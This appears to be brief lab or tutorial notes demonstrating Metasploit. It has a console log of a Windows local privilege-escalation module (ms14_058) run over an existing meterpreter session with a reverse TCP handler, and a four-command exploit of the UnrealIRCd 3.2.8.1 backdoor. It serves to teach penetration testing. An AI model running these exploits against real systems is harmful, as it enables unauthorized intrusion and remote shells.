Metasploit Demo

```
meterpreter > background
[*] Backgrounding session 1...
msf exploit(ms10_092_schelevator) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show options

Module options (exploit/windows/local/ms14_058_track_popup_menu):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Exploit target:

   Id  Name
   --  ----
   0   Windows x86


msf exploit(ms14_058_track_popup_menu) > set SESSION 1
SESSION => 1
msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 172.16.118.128:4444
[*] Launching notepad to host the exploit...
[+] Process 1288 launched.
[*] Reflectively injecting the exploit DLL into 1288...
[*] Injecting exploit into 1288...
[*] Exploit injected. Injecting payload into 1288...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf exploit(ms14_058_track_popup_menu) > set LHOST 10.10.14.75
LHOST => 10.10.14.75
msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 10.10.14.75:4444
[*] Launching notepad to host the exploit...
```

Using Metasploit to exploit a vulnerability

Example : UnrealIRCD 3.2.8.1 Backdoor Command Execution

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf > show options
msf > set RHOST 10.0.1.101
msf > exploit
```

Success!